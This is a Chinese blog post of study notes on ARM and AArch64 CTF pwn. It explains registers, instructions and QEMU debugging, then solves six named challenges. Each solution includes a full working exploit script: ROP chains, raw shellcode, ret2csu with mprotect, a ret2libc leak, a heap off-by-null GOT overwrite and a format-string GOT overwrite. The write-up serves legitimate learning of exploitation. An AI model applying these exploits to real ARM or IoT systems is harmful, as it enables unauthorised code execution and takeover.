一些师傅的博客:
关于学习arm架构下的pwn的总结 - ZikH26 - 博客园 (cnblogs.com)
arm pwn 入门 | blingbling’s blog (blingblingxuanxuan.github.io)
IOT pwn_apt install mips-linux-CSDN博客
[原创] CTF 中 ARM & AArch64 架构下的 Pwn-Pwn-看雪-安全社区|安全招聘|kanxue.com
也参考了许多其他师傅们的博客,这里不一一贴出来了。
最近刚好在看 《计算机组成原理( Alan Clements )》,以ARM体系架构为例,详细介绍其指令集、寄存器结构、指令执行流程等核心内容。对arm入门很有帮助。
目录 - ARM寄存器集
- ARM指令集
- ARM PWN环境搭建
ARM寄存器集 ARM指令集体系结构属于RISC(精简指令集) 32位 寄存器-寄存器型的体系结构,使用load/stort指令在存储器与寄存器之间移动数据
具有规整的32位指令格式,不能够像Pentium那样的CISC处理器将地址以及16位或者32位数据加载到寄存器中。
ARM32寄存器集
R0 存储临时变量 或者 函数返回值
R0~R3 四个寄存器存储函数调用时前4个参数 多余参数放到栈上
R7 系统调用号
R11寄存器即可以用来记录回溯信息,也可以当做局部变量来使用 –> 相当于ebp FP
R13 SP 指向栈顶
R14 LP 存放函数返回地址
R15 PC(程序计数器) IP 与x86不同的点在于PC在ARM状态下存储当前指令+8的地址。
当前状态处理器(CPSR):Z(零) N(负) C(进位) V(溢出),低八位包含系统信息
aarch寄存器集
X0: 也称为零寄存器,用于存储函数的返回值、传递函数参数和临时存储变量。
X1-X7: 用于传递函数参数和临时存储变量。
X8: 也称为程序计数器(PC),用于存储当前正在执行的指令的地址。当处理器执行一条指令时,PC会自动递增以指向下一条指令。
X9-X15: Caller Saved寄存器,用于存储函数参数、局部变量和临时数据。
X16-X17: 也称为临时寄存器,用于存储临时数据,这些寄存器在函数调用期间不需要保留其值。
X18: 也称为平台相关寄存器,用于存储与特定平台相关的信息,如TLS(线程本地存储)指针。
X19-X28: Callee Saved寄存器,于存储函数参数、局部变量和临时数据。
X29: 也称为帧指针寄存器(Frame Pointer,FP),用于存储当前函数的堆栈帧指针。当函数调用发生时,x29寄存器的值被保存到堆栈中,以便在函数执行期间可以轻松地访问上一级函数的堆栈帧。这样,当函数返回时,可以通过恢复x29寄存器的值来恢复到正确的堆栈帧。
X30: 也称为链接寄存器(Link Register,LR),用于存储函数调用的返回地址。当函数执行完毕时,处理器将使用x30寄存器中存储的返回地址来恢复到调用点。这样,控制流程可以顺利返回到调用函数的位置继续执行。
X31: SP 栈顶
ARM指令集 基础指令
指令
功能
指令
功能
MOV
移动数据
EOR
按位异或
MVN
移动数据并取反
LDR
加载
ADD
加法
STR
存储
SUB
减法
LDM
加载多个
MUL
乘法
STM
存储多个
LSL
逻辑左移
PUSH
入栈
LSR
逻辑右移
POP
出栈
ASR
算术右移
B
跳转
ROR
右旋
BL
Link+跳转
CMP
比较
BX
分支跳转
AND
按位与
BLX
Linx+分支跳转
ORR
按位或
SWI/SVC
系统调用
条件分支
编码
助记符
分支标志和状态
执行条件
0000
EQ
z置位
相等 0
0001
NE
z清零
不等 !0
0010
CS
c置位
无符号大于等于
0011
CC
c清零
无符号小于
0100
MI
n置位
负
0101
PL
n清零
正或零
0110
VS
v置位
溢出
0111
VC
v清零
未溢出
1000
HI
c置位 z清零
无符号大于
1001
LS
c清零 z置位
无符号小于等于
1010
GE
n、v同时置位或清零
大于等于
1011
LT
n、v分别置位或清零
小于
1100
GT
z清零 n、v同时置位或清零
大于
1101
LE
z置位 n、v分别置位或清零
小于等于
1110
AL
总是
1111
NV
从不
ARM通过块移动实现一个非常复杂的栈结构
test STMFD r13!, {r0-r4, r10, r14} ;保存工作寄存器,并将返回地址保存在r14中
……
LDMFD r13!, {r0-r4, r10, r15} ; 恢复工作寄存器,把r14送入PC中
ARM PWN环境搭建 基础环境安装可看这位师傅【Pwn 笔记】跨平台架构的环境配置与调试 | binLep’s Blog ,写得很详细
使用qemu构建一个虚拟环境来运行arm文件,使用gdb-multiarch连接到qemu,进行远程调试
AArch64:是ARMv8及更高版本中引入的64位架构。而qemu-arm用于模拟32位的ARM架构的二进制文件,qemu-aarch64用于模拟64位的ARM aarch64架构的二进制文件
wARMup: ELF 32-bit LSB executable, ARM , EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux-armhf.so.3, for GNU/Linux 3.2.0, BuildID[sha1]=fbe5794e95d6ea5006ea3137c0120ed945acae17, not stripped –> qemu-arm模拟
shanghai_baby_arm: ELF 64-bit LSB executable, ARM aarch64 , version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux-aarch64.so.1, for GNU/Linux 3.7.0, BuildID[sha1]=e988eaee79fd41139699d813eac0c375dbddba43, stripped –> qemu-aarch模拟
qemu进行模拟时使用-L加载对应架构的链接库(在usr目录下)
1 2 qemu-aarch64 -g 1234 -L /usr/aarch64-linux-gnu/ ./pwn qemu-arm -g 8888 -L /usr/arm-linux-gnueabihf/ ./pwn
然后启动gdb-multiarch:
1 2 set architecture arm/aarch64 #指定目标架构 target remote localhost:1234/8888
运行pwn脚本时附加进程 :
1.给程序加个pause(),qemu模拟时设置-g port,然后gdb-multiarch附加上去。
2.向群u请教后,可以通过pwntools中的attach附加进程上去。但是好像只能在程序交互前attach上去,不然会无法交互
1 2 3 io = process('qemu-arm -L ./ -g 2222 pwnfile'.split(' '), env=env) gdb.attach(('127.0.0.1', 2222), '''b *_start''', exe='pwnfile') sleep(2)
端口冲突:netstat -lnp查看占用PID kill -9 PID 删除进程
一些有关qemu的知识 :qemu起的虚拟环境保护全关。关闭了ASLR:启动的地址是固定的;关闭了NX:shellcode可执行。通过判断远程环境是qemu起的还是实体机起的,如果是qemu一般直接用ret2shellcode,否则泄露+attack。即使所给的二进制文件开了NX和pie,也只是对真机环境有效,qemu中还是没有保护。
题目一:32位 arm架构 静态
1 2 3 4 5 qemu-arm -g 1234 ./typo gdb-multiarch ./typo pwndbg> set architecture armpwndbg> target remote localhost:1234
由于是静态链接,所以函数会会很乱,定位主函数方法:
通过字符串找到一些特征字符串,题目中的描述之类的,根据交叉调用,不断跟进父函数,判断当前函数是否为主函数
定位_start函数,分析_start调用,它最终会调用mian函数或者是封装的__libc_start_main函数
发现sub_8F00为main函数
然后边调边逆,猜测一些函数作用
在0x221c8处下断点
在循环中,函数会断在该处,输入0x200字节数据
调用完read以后,断点下在0x00008d60
R11 -> 0xfffef064 —▸ 0x9058 ◂— str r0, [fp, #-0x20] /* ‘ ‘ */ ,0x9058指令是readin()的下一条指令,当我们覆盖了0xfffef064中的值为布置好的shellcode地址,就能控制程序在调用完readin()后,通过r11来恢复恢复PC。偏移为0x70字节
1 2 pwndbg> p/x 0xfffef064-0xfffeeff4 $1 = 0x70
由于没有开NX保护,栈上shellcode可执行,可以控制R11 -> shellcode_addr,但是shellcode写到栈上,需要栈地址,不过qemu起的环境没开ASLR,可以直接用栈地址返回。
通过ROPgadget来打,构造ROP链,执行system(“/bin/sh”),或者execve(“/bin/sh”, 0, 0)
首先我们需要知道:arm函数调用参数规则:R0~R4,再是栈上,R7为系统调用号,r15=PC指向下一条命令地址
execve系统调用号0xb,挟持PC执行svc中断,使用ROPgadget找不到pop r15的gadget
execve(“/bin/sh”, 0, 0) –> r0 = bin_sh_addr r1=0 r2=0 r7=b
pc = svc_addr
1 2 3 4 5 0x00020904 : pop {r0, r4, pc} 0x00068bec : pop {r1, pc} 0x00014068 : pop {r7, pc} 0x0004df00 : mov r2, #0 ; mov r0, r2 ; pop {r3, r4, r5, pc} 0x0000fed0 : svc #0 ; pop {r3, r4, r5, r6, r7, pc}
然后就是把他们组装起来
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 from pwn import *context(arch='arm' ,log_level='debug' ) io = process(['qemu-arm' ,'./typo' ]) io.sendlineafter(b'quit\n' , b'\n' ) r0_r4 = 0x00020904 r1 = 0x00068bec r7 = 0x00014068 r3_r4_r5 = 0x0004df00 svc = 0x0000fed0 bin_sh= 0x0006C384 payload = flat([ cyclic(112 ), p32(r3_r4_r5), p32(0 )*3 , p32(r0_r4), p32(bin_sh) , p32(0 ), p32(r1), p32(0 ), p32(r7), p32(0xb ), p32(svc)]) io.recv() io.sendline(payload) io.interactive()
恢复符号表 看了winmt师傅的文章,可以使用Rizzo 插件来修复符号表:
先将对应的libc.so下载下来
然后用IDA打开libc.so,使用Rizzo导出为libc.so.riz
打开目标程序,使用Rizzo加载.riz
但是本地没加载出来 ~_~
需要知道编译的libc版本才能修复,网上找的libc是2.27-3ubuntu1 : libc6 : arm64 : Bionic (18.04) : Ubuntu (launchpad.net) ,可能是libc找错了
尝试用了阿里公开的finger 函数识别插件分析,貌似arm架构的函数识别不出来。。。
也试了下sig-database 里面提供的sig文件,利用ida自带的FLIRT进行签名,2.23到2.27都试了一通,只匹配出来三个函数,2.28+作者没有构建arm架构的sig文件了。
很是让人郁闷,不过学习了很多恢复符号表的方法。^-^
题目二:32位 arm架构 动态 InCTF-2018 wARMup
没开pie 32位arm架构bss段可执行
主函数溢出0x10字节
read通过r11-0x68来设置目标地址,如果我们设置函数的返回地址为0x1052c,控制R11的值,就能实现任意地址写
函数最后会将SP指针向低地址减少4字节,后面执行的 POP {R11, PC} 从SP开始,所以填充的payload长度应该为 $r11 - $r1 -4 = 0x64,后面四字节为R11,接下来才会弹给PC。
先构造任意写,往bss段上写shellcode,然后再改返回函数地址执行shellcode
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 from pwn import *context(arch='arm' , log_level='debug' ) io = process('qemu-arm -L /usr/arm-linux-gnueabihf/ ./wARMup' , shell = True ) bss = 0x021100 payload = flat([cyclic(0x64 ), p32(bss+0x68 ), p32(0x01052C ) ]) io.sendlineafter(b'Welcome to bi0s CTF!\n' , payload) shellcode = asm(''' add r0, pc, #12 mov r1, #0 mov r2, #0 mov r7, #11 svc 0 .ascii "/bin/sh\\0" ''' )payload = shellcode.ljust(0x68 , b'\x00' ) + p32(bss) io.send(payload) io.interactive()
不过ZIKH26 师傅的payload有些理不清
题目三:64位 aarch64架构 动态 上海骇极杯 2018 baby_arm
sky123师傅写了,可以修改pwndbg/lib/regs.py中的寄存器的定义名,这样pwndbg就能显示出$31$30等寄存器名称
往bss段上写数据,然后存在栈溢出
aarch64指令集中:x0~x7传参 x29 栈顶指针 x30 LR
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 X0 0x0 X1 0x40007fff00 ◂— 0x6161616261616161 ('aaaabaaa') X2 0x200 X3 0x40009b1500 ◂— 0 X4 0x0 X5 0x9f075092a1c1abdb X6 0x40009adb10 ◂— 0 X7 0x40000000000 X8 0x3f X9 0xffff X10 0x0 X11 0x0 X12 0x4000841e48 ◂— udf #0 X13 0x0 X14 0x0 X15 0x6fffff47 X16 0x411028 —▸ 0x4000901b40 ◂— stp x29, x30, [sp, #-0x30]! X17 0x4000901b40 ◂— stp x29, x30, [sp, #-0x30]! X18 0x73516240 X19 0x400868 ◂— stp x29, x30, [sp, #-0x40]! X20 0x0 X21 0x400610 ◂— mov x29, #0 X22 0x0 X23 0x0 X24 0x0 X25 0x0 X26 0x0 X27 0x0 X28 0x0 X29 0x6161617261616171 ('qaaaraaa') X30 0x6161617461616173 ('saaataaa') SP 0x40007fff50 ◂— 0x6161617661616175 ('uaaavaaa') *PC 0x61617461616173
在main函数返回时,x30->‘saaataaa’ offset=72
1 2 3 4 5 6 7 8 9 10 11 12 from pwn import *context(arch='aarch64' ,log_level='debug' ) io = process(['qemu-aarch64' ,'-L' ,'/usr/aarch64-linux-gnu/' ,'./shanghai_baby_arm' ]) shellcode = asm(shellcraft.sh()) io.sendlineafter(b'Name:' , shellcode) sleep(0.3 ) payload = cyclic(72 ) + p64(0x411068 ) io.sendline(payload) io.interactive()
ret2csu
mprotect(bss, 0x1000, 7) -> x0 = bss_addr x1=0x1000 x2=7 x3=mprotect_plt
csu -> x24 = bss_addr x23 = 0x1000 x22 = 7 x21=mprotect_plt x19=0 x20=1
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 .text:00000000004008AC loc_4008AC ; CODE XREF: init+60↓j -->csu2 .text:00000000004008AC LDR X3, [X21,X19,LSL#3] .text:00000000004008B0 MOV X2, X22 .text:00000000004008B4 MOV X1, X23 .text:00000000004008B8 MOV W0, W24 .text:00000000004008BC ADD X19, X19, #1 .text:00000000004008C0 BLR X3 .text:00000000004008C4 CMP X19, X20 .text:00000000004008C8 B.NE loc_4008AC .text:00000000004008CC .text:00000000004008CC loc_4008CC ; CODE XREF: init+3C↑j -->csu1 .text:00000000004008CC LDP X19, X20, [SP,#var_s10] .text:00000000004008D0 LDP X21, X22, [SP,#var_s20] .text:00000000004008D4 LDP X23, X24, [SP,#var_s30] .text:00000000004008D8 LDP X29, X30, [SP+var_s0],#0x40 .text:00000000004008DC RET
布置csu1:先布置x29和x30,x30存储函数调用的返回地址,在执行ret后调用,控制x30指向csu2,实现第一次控制流挟持;然后控制对应寄存器在csu2中的赋值
控制csu2:按照对应寄存器进行赋值,然后x19+1,会与x20比较,如果相等就会继续执行csu1,此时通过布置栈空间可以再次控制x30,执行到ret时能够实现第二次控制流挟持。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 from pwn import *context(arch='aarch64' ,log_level='debug' ) io = process(['qemu-aarch64' ,'-L' ,'/usr/aarch64-linux-gnu/' , './shanghai_baby_arm' ]) elf = ELF('./shanghai_baby_arm' ) bss = 0x411068 shellcode = asm(shellcraft.aarch64.sh()).ljust(0x100 , b'\x00' ) + p64(elf.plt['mprotect' ]) io.sendafter(b'Name:' , shellcode) sleep(0.3 ) csu1 = 0x00000000004008CC csu2 = 0x00000000004008AC payload = cyclic(72 ) + p64(csu1) payload += p64(0xdeadbeef ) + p64(csu2) payload += p64(0 ) + p64(1 ) payload += p64(bss+0x100 ) + p64(7 ) payload += p64(0x1000 ) + p64(0x411000 ) payload += p64(0 ) + p64(bss) payload += p64(0 )*6 io.sendline(payload) io.interactive()
当然也可以用第二题的思路,利用read(0, &buf, 0x200)实现任意地址写,然后往bss段里写数据,不过没意义罢了
题目四:32位 arm ret2libc Codegate2018 melong
给定了libc
在write_diary函数中,nbytes大小可控,可能存在溢出,a2是main函数中的局部变量
nbytes=*v8,v8是PT函数的返回值,我们需要尽可能控制v8为大数造成溢出
PT函数,发现存在返回值size可控,我们的利用目标就是它了,但是我们需要控制ptr==exc2,exc2位于bss段中,初始化为0
当malloc失败时返回值为0
在这些之前,需要进入check给v6赋值才能接下来操作
所以我们先进入case1设置v6=!0,然后进入case3输入size=-1从而malloc失败,使ptr=exc2=0,size_t的size被赋值为了0xffffffff,之后进入case4的write_diary,通过 LDRB R3, [R11,#nbytes] 从R11的-5偏移处加载一字节到R3寄存器中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 .text:000106D4 write_diary ; CODE XREF: main+184↓p .text:000106D4 .text:000106D4 buf = -0x14 .text:000106D4 var_10 = -0x10 .text:000106D4 nbytes = -5 .text:000106D4 .text:000106D4 PUSH {R11,LR} .text:000106D8 ADD R11, SP, #4 .text:000106DC SUB SP, SP, #0x10 .text:000106E0 STR R0, [R11,#var_10] .text:000106E4 STR R1, [R11,#buf] .text:000106E8 LDR R3, [R11,#var_10] .text:000106EC LDR R3, [R3] .text:000106F0 STRB R3, [R11,#nbytes] .text:000106F4 LDRB R3, [R11,#nbytes] .text:000106F8 CMP R3, #0 .text:000106FC BEQ loc_10720 .text:00010700 LDRB R3, [R11,#nbytes] .text:00010704 MOV R2, R3 ; nbytes .text:00010708 LDR R1, [R11,#buf] ; buf .text:0001070C MOV R0, #0 ; fd .text:00010710 BL read .text:00010714 LDR R1, [R11,#buf] .text:00010718 LDR R0, =format ; "you wrote %s\n" .text:0001071C BL printf
最终实现read(0, v5, 0xff),v5为主函数的局部变量,离栈底只有0x54字节长
可以直接用栈地址作为返回地址,将shellcode布置在栈上,打ret2shellcode。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 from pwn import *from tw11ty import *def chk (): sla(b'Type the number:' , str (1 )) sla(b'Your height(meters) : ' , str (1.65 )) sla(b'Your weight(kilograms) : ' , str (100 )) sla(b'Type the number:' , str (3 )) sla(b'How long do you want to take personal training?\n' , str (-1 )) if __name__ == '__main__' : context.arch = 'arm' IPort = '127.0.0.1 12345' pwnfile = './melong' libc_name = './lib/libc.so.6' elf = ELF(pwnfile) libc = ELF(libc_name) io = initc(pwnfile, IPort, 'qemu-arm -L ./ -g 12345 ./melong' ) dbg('b *0x01126C \n b *0x0010710' ) chk() sla(b'Type the number:' , str (4 )) shellcode = b"\x02\x20\x42\xe0\x1c\x30\x8f\xe2" shellcode += b"\x04\x30\x8d\xe5\x08\x20\x8d\xe5" shellcode += b"\x13\x02\xa0\xe1\x07\x20\xc3\xe5" shellcode += b"\x04\x30\x8f\xe2\x04\x10\x8d\xe2" shellcode += b"\x01\x20\xc3\xe5\x0b\x0b\x90\xef" shellcode += b"/bin/sh" payload = shellcode.ljust(84 , b'a' ) + p32(0xfffef0d0 ) sl(payload) sla(b'Type the number:' , str (6 )) itr()
ret2libc 构造puts泄露信息,需要利用PC控制puts调用后的下一条指令
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 from pwn import *from tw11ty import *def chk (): sla(b'Type the number:' , str (1 )) sla(b'Your height(meters) : ' , str (1.65 )) sla(b'Your weight(kilograms) : ' , str (100 )) sla(b'Type the number:' , str (3 )) sla(b'How long do you want to take personal training?\n' , str (-1 )) if __name__ == '__main__' : context.arch = 'arm' IPort = '127.0.0.1 12345' pwnfile = './melong' libc_name = './lib/libc.so.6' elf = ELF(pwnfile) libc = ELF(libc_name) io = initc(pwnfile, IPort, 'qemu-arm -L ./ ./melong' ) puts_got = elf.got['puts' ] main = elf.sym['main' ] puts= 0x000110BC pr0 = 0x00011bbc pr3 = 0x00010460 pr4 = 0x000105e4 pr11= 0x00011290 chk() sla(b'Type the number:' , str (4 )) payload = cyclic(84 ) + p32(pr0) + p32(puts_got) + p32(puts) + p32(0 ) + p32(main) sl(payload) sla(b'Type the number:' , str (6 )) puts_addr = uu32(r32()) libc_base = puts_addr - libc.sym['puts' ] system = libc_base + libc.sym['system' ] bin_sh = libc_base + next (libc.search(b'/bin/sh' )) chk() sla(b'Type the number:' , str (4 )) payload = cyclic(84 ) + p32(pr0) + p32(bin_sh) + p32(system) sl(payload) sla(b'Type the number:' , str (6 )) leak("libc_base" , libc_base) itr()
题目五:aarch64架构 off by null DASCTF 1月赛 ememarm
2.27 aarch64 的堆题
去了符号表
edit函数中存在off by null漏洞
本地交叉编译 异架构对于堆来说有些不太友好,题目只给了一个libc文件,如果是x86系列,能直接从网上下载deb文件加压到libc同级的.debug文件夹下,设置debug-file-directory为.debug文件夹,调试时就能自动加载符号。但是arm架构不能如此,参考winmt 本地自行编译:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 tar -xvf ./glibc-2.27.tar.xz mkdir aarch64 mkdir build cd build CC=/usr/bin/aarch64-linux-gnu-gcc \ CXX=/usr/bin/aarch64-linux-gnu-g++ \ CFLAGS="-g -g3 -ggdb -gdwarf-4 -Og -Wno-error" \ CXXFLAGS="-g -g3 -ggdb -gdwarf-4 -Og -Wno-error" \ ../configure \ --prefix=/ctf/work/archs/arm64/2.27/glibc-2.27/aarch64 \ --host=aarch64-linux \ --target=aarch64-linux \ --disable-werror make make install
然后在题目目录下:ln -s /ctf/work/archs/arm64/2.27/glibc-2.27/aarch64/lib ./
调试时能加载符号信息
可惜pwngdb里面的命令会报错 或是不正确反映,以后看看能不能搞搞这个(搁着先)
创造一个fake chunk,然后任意写改free_got为system,退出执行free(‘/bin/sh’)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 from pwn import *from tw11ty import *def menu (num ): sla(b'you choice: \n' , str (num)) def add0 (cx=b'a' , cy=b'b' , ori=0 ): menu(1 ) sla(b'cx:\n' , cx) sla(b'cy:\n' , cy) sla(b'do you want delete?\n' , str (ori)) def show (idx ): menu(2 ) sl(str (idx)) def dele (idx, content=b'' ): menu(3 ) sl(str (idx)) s(content) def add1 (cx=b'c' , cy=b'd' , ori=0 ): menu(4 ) sla(b'cx:\n' , cx) sla(b'cy:\n' , cy) sla(b'do you want delete?\n' , str (ori)) if __name__ == '__main__' : context.arch = 'aarch64' IPort = '127.0.0.1 12345' pwnfile = './ememarm' libc_name = './lib/libc.so.6' elf = ELF(pwnfile) libc = ELF(libc_name) io = initc(pwnfile, IPort, 'qemu-aarch64 -L ./ ./ememarm' ) sla(b'hello every one welcom my note ~~4268144\n' , b'/bin/sh\x00' ) add0(b'aaaa' , b'bbbb' , 0 ) add0(b'cccc' , b'dddd' , 0 ) add0(b'eeee' , b'ffff' , 1 ) add1(b'gggg' , p64(0x31 ), 1 ) dele(1 , p64(0 ) + p64(0x41 ) + b'deadbeef' ) add1(b'hhhh' , p64(elf.got['free' ]), 0 ) dele(2 , p64(0x4000831000 + libc.sym['system' ])) menu(5 ) itr()
题目六:aarch64架构 格式化字符串 WKCTF2024 something_changed
漏洞还是很简单,存在栈溢出和格式化字符串漏洞
主要说一些比赛时候的思路:
通过不断测试远程printf来泄露栈地址 –> 发现泄露出来的地址固定不变 –> 猜测是用qemu起的环境 –> ret2shellcode备着 不过每次连接canary的值会变
qemu起的程序相当于保护全关 而且这道题本身就没开FULL RELRO和pie。还给了backdoor –> 优先 一次性改好 再是改printf二次利用
直接用一次性格式化字符串来改__stack_chk_fail_got为backdoor就行了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 from pwn import *from tw11ty import *if __name__ == '__main__' : context.arch = 'aarch64' IPort = '1 1' pwnfile = './silent' libc_name = './lib/libc.so.6' elf = ELF(pwnfile) libc = ELF(libc_name) io = initc(pwnfile, IPort, 'qemu-aarch64 -L ./ -g 12345 ./silent' ) scf = elf.got['__stack_chk_fail' ] backdoor = 0x00400770 payload = b'%1883c%c' + b'%0c%0c%0c%0c%0c%0c%0c%c%c%c%c%c%c%c%c%c%c%caa%hn' + p64(scf) sl(payload) itr()
杂七杂八
printf前
printf后
可以发现从 x1开始打印,到x7,然后开始打印栈上的数据
printf的源码有空再看咯,先贴一位师傅的博客格式化字符串漏洞利用 - WJH’s Blog (wjhwjhn.com) ,原理就在这里。